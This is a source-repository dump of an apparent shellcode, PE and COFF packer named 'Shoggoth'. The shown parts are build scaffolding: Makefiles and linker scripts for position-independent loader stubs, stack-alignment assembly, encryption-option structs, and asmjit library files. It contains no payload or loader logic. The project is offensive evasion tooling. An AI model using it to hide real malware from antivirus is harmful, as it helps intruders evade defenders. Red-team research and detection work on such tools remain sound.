├── .gitignore ├── img ├── logo.png ├── shoggoth.jpg └── ShoggothExecutionFlow.png ├── Shoggoth.pptx ├── stub ├── PELoader.bin └── COFFLoader.bin ├── src ├── SecondEncryption.h ├── FirstEncryption.h ├── OptionsHelper.h ├── Shoggoth.vcxproj.user ├── AuxFunctions.h ├── asmjit │ ├── asmjit-scope-end.h │ ├── asmjit-scope-begin.h │ ├── asmjit.h │ ├── core │ │ ├── errorhandler.cpp │ │ ├── target.cpp │ │ ├── environment.cpp │ │ ├── misc_p.h │ │ ├── osutils.h │ │ ├── api-build_p.h │ │ ├── type.cpp │ │ ├── emithelper_p.h │ │ ├── cpuinfo.cpp │ │ ├── osutils_p.h │ │ ├── logger.cpp │ │ ├── emitterutils_p.h │ │ ├── osutils.cpp │ │ ├── zonetree.cpp │ │ ├── codebuffer.h │ │ ├── jitruntime.h │ │ ├── jitruntime.cpp │ │ ├── zonestring.h │ │ ├── codewriter.cpp │ │ ├── globals.cpp │ │ ├── operand.cpp │ │ ├── inst.cpp │ │ ├── zonelist.cpp │ │ ├── archtraits.cpp │ │ ├── emitterutils.cpp │ │ ├── cpuinfo.h │ │ ├── assembler.h │ │ ├── features.h │ │ ├── rastack_p.h │ │ └── zonelist.h │ ├── x86 │ │ ├── x86func_p.h │ │ ├── x86instapi_p.h │ │ ├── x86formatter_p.h │ │ ├── x86builder.cpp │ │ ├── x86compiler.cpp │ │ ├── x86emithelper_p.h │ │ └── x86rapass_p.h │ └── x86.h ├── Shoggoth.sln ├── Structs.h ├── ShoggothEngine.h ├── main.cpp ├── AuxFunctions.cpp └── OptionsHelper.cpp ├── PELoader ├── linker.ld ├── alignStack.asm ├── Makefile ├── APISolver.h └── APISolver.c ├── COFFLoader ├── linker.ld ├── alignStack.asm ├── Makefile ├── BeaconFunctions.h ├── Structs.h └── APISolver.h └── COFFArgGenerator ├── LICENSE.txt └── beacon_generate.py /.gitignore: -------------------------------------------------------------------------------- 1 | src/x64 2 | src/.vs 3 | src/assembletest.bin 4 | src/test.bin -------------------------------------------------------------------------------- /img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frkngksl/Shoggoth/HEAD/img/logo.png -------------------------------------------------------------------------------- /Shoggoth.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frkngksl/Shoggoth/HEAD/Shoggoth.pptx -------------------------------------------------------------------------------- /img/shoggoth.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frkngksl/Shoggoth/HEAD/img/shoggoth.jpg -------------------------------------------------------------------------------- /stub/PELoader.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frkngksl/Shoggoth/HEAD/stub/PELoader.bin -------------------------------------------------------------------------------- /stub/COFFLoader.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frkngksl/Shoggoth/HEAD/stub/COFFLoader.bin -------------------------------------------------------------------------------- /src/SecondEncryption.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "ShoggothEngine.h" 3 | #include "AuxFunctions.h" -------------------------------------------------------------------------------- /src/FirstEncryption.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "ShoggothEngine.h" 3 | #include "AuxFunctions.h" 4 | -------------------------------------------------------------------------------- /img/ShoggothExecutionFlow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frkngksl/Shoggoth/HEAD/img/ShoggothExecutionFlow.png -------------------------------------------------------------------------------- /PELoader/linker.ld: -------------------------------------------------------------------------------- 1 | ENTRY(alignstack) 2 | SECTIONS 3 | { 4 | .text : 5 | { 6 | *(.text.alignstack) 7 | *(.text.loadPE) 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /COFFLoader/linker.ld: -------------------------------------------------------------------------------- 1 | ENTRY(alignstack) 2 | SECTIONS 3 | { 4 | .text : 5 | { 6 | *(.text.alignstack) 7 | *(.text.RunCOFF) 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /src/OptionsHelper.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include "Structs.h" 6 | 7 | void PrintHeader(); 8 | void PrintHelp(char *binaryName); 9 | bool ParseArgs(int argc, char* argv[], OPTIONS& configurationOptions); -------------------------------------------------------------------------------- /COFFLoader/alignStack.asm: -------------------------------------------------------------------------------- 1 | extern RunCOFF 2 | global alignstack 3 | 4 | segment .text 5 | 6 | alignstack: 7 | push rdi 8 | mov rdi, rsp 9 | and rsp, byte -0x10 10 | sub rsp, byte +0x20 11 | call RunCOFF 12 | mov rsp, rdi 13 | pop rdi 14 | ret 15 | -------------------------------------------------------------------------------- /PELoader/alignStack.asm: -------------------------------------------------------------------------------- 1 | extern loadPE 2 | global alignstack 3 | 4 | segment .text 5 | 6 | alignstack: 7 | push rdi 8 | mov rdi, rsp 9 | and rsp, byte -0x10 10 | sub rsp, byte +0x20 11 | call loadPE 12 | mov rsp, rdi 13 | pop rdi 14 | ret 15 | -------------------------------------------------------------------------------- /src/Shoggoth.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | C:\Users\picus\Desktop\s9_lateral\ActionModules\bin\dotnet\DumpNParse.exe test.exe 5 | WindowsLocalDebugger 6 | 7 | 8 | 9 | 10 | WindowsLocalDebugger 11 | 12 | -------------------------------------------------------------------------------- /PELoader/Makefile: -------------------------------------------------------------------------------- 1 | CC := x86_64-w64-mingw32-gcc 2 | LD := x86_64-w64-mingw32-ld 3 | CFLAGS := -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 4 | CCLDFLAGS := -Wl,-Tlinker.ld,--no-seh -DC2 5 | 6 | S_SRCS := alignStack.asm 7 | C_SRCS := APISolver.c PELoader.c 8 | OBJS := $(patsubst %.asm,%.o,$(S_SRCS)) $(patsubst %.c,%.o,$(C_SRCS)) 9 | 10 | all: bin/PELoader.exe bin/PELoader.bin 11 | 12 | bin/PELoader.exe: $(OBJS) 13 | mkdir -p $(@D) 14 | $(LD) -s $^ -o $@ 15 | 16 | bin/PELoader.bin: bin/PELoader.exe 17 | objcopy -j .text -O binary $< $@ 18 | 19 | %.o: %.asm 20 | nasm -f win64 $< -o $@ 21 | 22 | %.o: %.c 23 | $(CC) $< $(CFLAGS) -c -o $@ $(CCLDFLAGS) 24 | 25 | clean: 26 | rm -rf $(OBJS) \ 27 | bin/PELoader.exe bin/PELoader.bin bin/ 28 | -------------------------------------------------------------------------------- /src/AuxFunctions.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include "ShoggothEngine.h" 5 | 6 | 7 | bool RandomizeBool(); 8 | unsigned long long RandomizeQWORD(); 9 | unsigned long RandomizeDWORD(); 10 | int RandomizeInRange(int min, int max); 11 | int AlignBytes(int currentSize, int alignment); 12 | BOOL WriteBinary(char* outputFileName, PBYTE fileBuffer, int fileSize); 13 | PBYTE ReadBinary(char* fileName, int& fileSize); 14 | char* GenerateRandomString(); 15 | PBYTE GetRandomBytes(size_t numberOfBytes); 16 | BYTE GetRandomByte(); 17 | PBYTE MergeChunks(PBYTE firstChunk, int firstChunkSize, PBYTE secondChunk, int secondChunkSize); 18 | bool CheckValidPE(PBYTE fileBuffer); 19 | bool Checkx64PE(PBYTE fileBuffer); 20 | PBYTE GenArgBytes(LPSTR args, int argsLen); -------------------------------------------------------------------------------- /COFFLoader/Makefile: -------------------------------------------------------------------------------- 1 | CC := x86_64-w64-mingw32-gcc 2 | LD := x86_64-w64-mingw32-ld 3 | CFLAGS := -Wall -m64 -fno-builtin -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 4 | CCLDFLAGS := -Wl,-Tlinker.ld,--no-seh -DC2 5 | 6 | S_SRCS := alignStack.asm 7 | C_SRCS := APISolver.c COFFLoader.c BeaconFunctions.c 8 | OBJS := $(patsubst %.asm,%.o,$(S_SRCS)) $(patsubst %.c,%.o,$(C_SRCS)) 9 | 10 | all: bin/COFFLoader.exe bin/COFFLoader.bin 11 | 12 | bin/COFFLoader.exe: $(OBJS) 13 | mkdir -p $(@D) 14 | $(LD) -s $^ -o $@ 15 | 16 | bin/COFFLoader.bin: bin/COFFLoader.exe 17 | objcopy -j .text -O binary $< $@ 18 | 19 | %.o: %.asm 20 | nasm -f win64 $< -o $@ 21 | 22 | %.o: %.c 23 | $(CC) $< $(CFLAGS) -c -o $@ $(CCLDFLAGS) 24 | 25 | clean: 26 | rm -rf $(OBJS) \ 27 | bin/COFFLoader.exe bin/COFFLoader.bin bin/ 28 | -------------------------------------------------------------------------------- /src/asmjit/asmjit-scope-end.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifdef _WIN32 25 | #pragma pop_macro("min") 26 | #pragma pop_macro("max") 27 | #endif 28 | -------------------------------------------------------------------------------- /src/asmjit/asmjit-scope-begin.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifdef _WIN32 25 | #pragma push_macro("min") 26 | #pragma push_macro("max") 27 | 28 | #ifdef min 29 | #undef min 30 | #endif 31 | 32 | #ifdef max 33 | #undef max 34 | #endif 35 | #endif 36 | -------------------------------------------------------------------------------- /src/asmjit/asmjit.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_ASMJIT_H_INCLUDED 25 | #define ASMJIT_ASMJIT_H_INCLUDED 26 | 27 | #include "./core.h" 28 | 29 | #ifndef ASMJIT_NO_X86 30 | #include "./x86.h" 31 | #endif 32 | 33 | #endif // ASMJIT_ASMJIT_H_INCLUDED 34 | -------------------------------------------------------------------------------- /src/Shoggoth.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31729.503 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Shoggoth", "Shoggoth.vcxproj", "{44D5BE95-F34D-4CC5-846F-C7758943B8FA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Debug|x64.ActiveCfg = Debug|x64 17 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Debug|x64.Build.0 = Debug|x64 18 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Debug|x86.ActiveCfg = Debug|Win32 19 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Debug|x86.Build.0 = Debug|Win32 20 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Release|x64.ActiveCfg = Release|x64 21 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Release|x64.Build.0 = Release|x64 22 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Release|x86.ActiveCfg = Release|Win32 23 | {44D5BE95-F34D-4CC5-846F-C7758943B8FA}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {B96BF5DB-EE30-43F4-9C4C-B6701FE97D6E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /src/Structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "asmjit/asmjit.h" 3 | 4 | 5 | typedef enum 6 | { 7 | ADD_OPERATION_FOR_CRYPT = 0, 8 | SUB_OPERATION_FOR_CRYPT, 9 | XOR_OPERATION_FOR_CRYPT, 10 | NOT_OPERATION_FOR_CRYPT, 11 | NEG_OPERATION_FOR_CRYPT, 12 | INC_OPERATION_FOR_CRYPT, 13 | DEC_OPERATION_FOR_CRYPT, 14 | ROL_OPERATION_FOR_CRYPT, 15 | ROR_OPERATION_FOR_CRYPT, 16 | } OPERATIONS; 17 | 18 | typedef struct { 19 | OPERATIONS operation; 20 | uint64_t operandValue; 21 | asmjit::x86::Gp operandRegister; 22 | bool isRegister; 23 | bool changeSourceRegister; 24 | asmjit::x86::Gp oldSourceRegister; 25 | asmjit::x86::Gp newSourceRegister; 26 | } ENCRYPT_TYPE; 27 | 28 | 29 | typedef struct { 30 | uint8_t i; 31 | uint8_t j; 32 | uint8_t s[256]; 33 | }RC4STATE; 34 | 35 | 36 | typedef struct 37 | { 38 | const char* namePtr; 39 | BOOL isUsed; 40 | } importStruct; 41 | 42 | typedef int (*Func)(void); 43 | typedef void (*RUNCOFF)(PBYTE, PCHAR, UINT32); 44 | 45 | typedef enum 46 | { 47 | INVALID_MODE = 0, 48 | RAW_MODE, 49 | PE_LOADER_MODE, 50 | COFF_LOADER_MODE, 51 | } OPERATIONMODE; 52 | 53 | typedef struct { 54 | OPERATIONMODE operationMode; 55 | LPSTR inputPath; 56 | LPSTR outputPath; 57 | LPSTR coffArg; 58 | LPSTR encryptionKey; 59 | int encryptionKeySize; 60 | int seed; 61 | bool isVerbose; 62 | bool encryptOnlyDecryptor; 63 | bool dontDoFirstEncryption; 64 | bool dontDoSecondEncryption; 65 | bool useSeed; 66 | } OPTIONS; -------------------------------------------------------------------------------- /src/asmjit/core/errorhandler.cpp: -------------------------------------------------------------------------------- 1 | 2 | // AsmJit - Machine code generation for C++ 3 | // 4 | // * Official AsmJit Home Page: https://asmjit.com 5 | // * Official Github Repository: https://github.com/asmjit/asmjit 6 | // 7 | // Copyright (c) 2008-2020 The AsmJit Authors 8 | // 9 | // This software is provided 'as-is', without any express or implied 10 | // warranty. In no event will the authors be held liable for any damages 11 | // arising from the use of this software. 12 | // 13 | // Permission is granted to anyone to use this software for any purpose, 14 | // including commercial applications, and to alter it and redistribute it 15 | // freely, subject to the following restrictions: 16 | // 17 | // 1. The origin of this software must not be misrepresented; you must not 18 | // claim that you wrote the original software. If you use this software 19 | // in a product, an acknowledgment in the product documentation would be 20 | // appreciated but is not required. 21 | // 2. Altered source versions must be plainly marked as such, and must not be 22 | // misrepresented as being the original software. 23 | // 3. This notice may not be removed or altered from any source distribution. 24 | 25 | #include "../core/api-build_p.h" 26 | #include "../core/errorhandler.h" 27 | 28 | ASMJIT_BEGIN_NAMESPACE 29 | 30 | // ============================================================================ 31 | // [asmjit::ErrorHandler] 32 | // ============================================================================ 33 | 34 | ErrorHandler::ErrorHandler() noexcept {} 35 | ErrorHandler::~ErrorHandler() noexcept {} 36 | 37 | ASMJIT_END_NAMESPACE 38 | -------------------------------------------------------------------------------- /src/asmjit/core/target.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/target.h" 26 | 27 | ASMJIT_BEGIN_NAMESPACE 28 | 29 | // ============================================================================ 30 | // [asmjit::Target - Construction / Destruction] 31 | // ============================================================================ 32 | 33 | Target::Target() noexcept 34 | : _environment() {} 35 | Target::~Target() noexcept {} 36 | 37 | ASMJIT_END_NAMESPACE 38 | -------------------------------------------------------------------------------- /COFFArgGenerator/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright 2020, COFFLoader by TrustedSec, LLC 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer 8 | in the documentation and/or other materials provided with the distribution. 9 | * Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from 10 | this software without specific prior written permission. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 13 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 14 | OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 15 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 16 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 17 | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 18 | 19 | The above licensing was taken from the BSD licensing and is applied to COFFLoader as well. 20 | 21 | Note that the COFFLoader is provided as is, and is a royalty free open-source application. 22 | 23 | Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit 24 | is due (which means giving the authors the credit they deserve for writing it). -------------------------------------------------------------------------------- /src/asmjit/x86/x86func_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_X86_X86FUNC_P_H_INCLUDED 25 | #define ASMJIT_X86_X86FUNC_P_H_INCLUDED 26 | 27 | #include "../core/func.h" 28 | 29 | ASMJIT_BEGIN_SUB_NAMESPACE(x86) 30 | 31 | //! \cond INTERNAL 32 | //! \addtogroup asmjit_x86 33 | //! \{ 34 | 35 | // ============================================================================ 36 | // [asmjit::x86::FuncInternal] 37 | // ============================================================================ 38 | 39 | //! X86-specific function API (calling conventions and other utilities). 40 | namespace FuncInternal { 41 | 42 | //! Initialize `CallConv` structure (X86 specific). 43 | Error initCallConv(CallConv& cc, uint32_t ccId, const Environment& environment) noexcept; 44 | 45 | //! Initialize `FuncDetail` (X86 specific). 46 | Error initFuncDetail(FuncDetail& func, const FuncSignature& signature, uint32_t registerSize) noexcept; 47 | 48 | } // {FuncInternal} 49 | 50 | //! \} 51 | //! \endcond 52 | 53 | ASMJIT_END_SUB_NAMESPACE 54 | 55 | #endif // ASMJIT_X86_X86FUNC_P_H_INCLUDED 56 | -------------------------------------------------------------------------------- /src/asmjit/core/environment.cpp: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #include "../core/api-build_p.h" 25 | #include "../core/environment.h" 26 | 27 | ASMJIT_BEGIN_NAMESPACE 28 | 29 | // X86 Target 30 | // ---------- 31 | // 32 | // - 32-bit - Linux, OSX, BSD, and apparently also Haiku guarantee 16-byte 33 | // stack alignment. Other operating systems are assumed to have 34 | // 4-byte alignment by default for safety reasons. 35 | // - 64-bit - stack must be aligned to 16 bytes. 36 | // 37 | // ARM Target 38 | // ---------- 39 | // 40 | // - 32-bit - Stack must be aligned to 8 bytes. 41 | // - 64-bit - Stack must be aligned to 16 bytes (hardware requirement). 42 | uint32_t Environment::stackAlignment() const noexcept { 43 | if (is64Bit()) { 44 | // Assume 16-byte alignment on any 64-bit target. 45 | return 16; 46 | } 47 | else { 48 | // The following platforms use 16-byte alignment in 32-bit mode. 49 | if (isPlatformLinux() || 50 | isPlatformBSD() || 51 | isPlatformApple() || 52 | isPlatformHaiku()) { 53 | return 16u; 54 | } 55 | 56 | if (isFamilyARM()) 57 | return 8; 58 | 59 | // Bail to 4-byte alignment if we don't know. 60 | return 4; 61 | } 62 | } 63 | 64 | ASMJIT_END_NAMESPACE 65 | -------------------------------------------------------------------------------- /src/asmjit/x86/x86instapi_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_X86_X86INSTAPI_P_H_INCLUDED 25 | #define ASMJIT_X86_X86INSTAPI_P_H_INCLUDED 26 | 27 | #include "../core/inst.h" 28 | #include "../core/operand.h" 29 | 30 | ASMJIT_BEGIN_SUB_NAMESPACE(x86) 31 | 32 | //! \cond INTERNAL 33 | //! \addtogroup asmjit_x86 34 | //! \{ 35 | 36 | namespace InstInternal { 37 | 38 | #ifndef ASMJIT_NO_TEXT 39 | Error instIdToString(uint32_t arch, uint32_t instId, String& output) noexcept; 40 | uint32_t stringToInstId(uint32_t arch, const char* s, size_t len) noexcept; 41 | #endif // !ASMJIT_NO_TEXT 42 | 43 | #ifndef ASMJIT_NO_VALIDATION 44 | Error validate(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, uint32_t validationFlags) noexcept; 45 | #endif // !ASMJIT_NO_VALIDATION 46 | 47 | #ifndef ASMJIT_NO_INTROSPECTION 48 | Error queryRWInfo(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, InstRWInfo* out) noexcept; 49 | Error queryFeatures(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, BaseFeatures* out) noexcept; 50 | #endif // !ASMJIT_NO_INTROSPECTION 51 | 52 | } // {InstInternal} 53 | 54 | //! \} 55 | //! \endcond 56 | 57 | ASMJIT_END_SUB_NAMESPACE 58 | 59 | #endif // ASMJIT_X86_X86INSTAPI_P_H_INCLUDED 60 | -------------------------------------------------------------------------------- /src/asmjit/core/misc_p.h: -------------------------------------------------------------------------------- 1 | // AsmJit - Machine code generation for C++ 2 | // 3 | // * Official AsmJit Home Page: https://asmjit.com 4 | // * Official Github Repository: https://github.com/asmjit/asmjit 5 | // 6 | // Copyright (c) 2008-2020 The AsmJit Authors 7 | // 8 | // This software is provided 'as-is', without any express or implied 9 | // warranty. In no event will the authors be held liable for any damages 10 | // arising from the use of this software. 11 | // 12 | // Permission is granted to anyone to use this software for any purpose, 13 | // including commercial applications, and to alter it and redistribute it 14 | // freely, subject to the following restrictions: 15 | // 16 | // 1. The origin of this software must not be misrepresented; you must not 17 | // claim that you wrote the original software. If you use this software 18 | // in a product, an acknowledgment in the product documentation would be 19 | // appreciated but is not required. 20 | // 2. Altered source versions must be plainly marked as such, and must not be 21 | // misrepresented as being the original software. 22 | // 3. This notice may not be removed or altered from any source distribution. 23 | 24 | #ifndef ASMJIT_CORE_MISC_P_H_INCLUDED 25 | #define ASMJIT_CORE_MISC_P_H_INCLUDED 26 | 27 | #include "../core/api-config.h" 28 | 29 | ASMJIT_BEGIN_NAMESPACE 30 | 31 | //! \cond INTERNAL 32 | //! \addtogroup asmjit_utilities 33 | //! \{ 34 | 35 | #define ASMJIT_LOOKUP_TABLE_4(T, I) T((I)), T((I+1)), T((I+2)), T((I+3)) 36 | #define ASMJIT_LOOKUP_TABLE_8(T, I) ASMJIT_LOOKUP_TABLE_4(T, I), ASMJIT_LOOKUP_TABLE_4(T, I + 4) 37 | #define ASMJIT_LOOKUP_TABLE_16(T, I) ASMJIT_LOOKUP_TABLE_8(T, I), ASMJIT_LOOKUP_TABLE_8(T, I + 8) 38 | #define ASMJIT_LOOKUP_TABLE_32(T, I) ASMJIT_LOOKUP_TABLE_16(T, I), ASMJIT_LOOKUP_TABLE_16(T, I + 16) 39 | #define ASMJIT_LOOKUP_TABLE_40(T, I) ASMJIT_LOOKUP_TABLE_16(T, I), ASMJIT_LOOKUP_TABLE_16(T, I + 16), ASMJIT_LOOKUP_TABLE_8(T, I + 32) 40 | #define ASMJIT_LOOKUP_TABLE_64(T, I) ASMJIT_LOOKUP_TABLE_32(T, I), ASMJIT_LOOKUP_TABLE_32(T, I + 32) 41 | #define ASMJIT_LOOKUP_TABLE_128(T, I) ASMJIT_LOOKUP_TABLE_64(T, I), ASMJIT_LOOKUP_TABLE_64(T, I + 64) 42 | #define ASMJIT_LOOKUP_TABLE_256(T, I) ASMJIT_LOOKUP_TABLE_128(T, I), ASMJIT_LOOKUP_TABLE_128(T, I + 128) 43 | #define ASMJIT_LOOKUP_TABLE_512(T, I) ASMJIT_LOOKUP_TABLE_256(T, I), ASMJIT_LOOKUP_TABLE_256(T, I + 256) 44 | #define ASMJIT_LOOKUP_TABLE_1024(T, I) ASMJIT_LOOKUP_TABLE_512(T, I), ASMJIT_LOOKUP_TABLE_512(T, I + 512) 45 | 46 | //! \} 47 | //! \endcond 48 | 49 | 